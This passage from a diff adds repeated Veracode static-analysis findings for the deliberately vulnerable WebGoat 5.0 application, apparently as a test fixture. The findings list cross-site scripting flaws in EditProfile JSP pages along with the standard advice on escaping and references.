+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
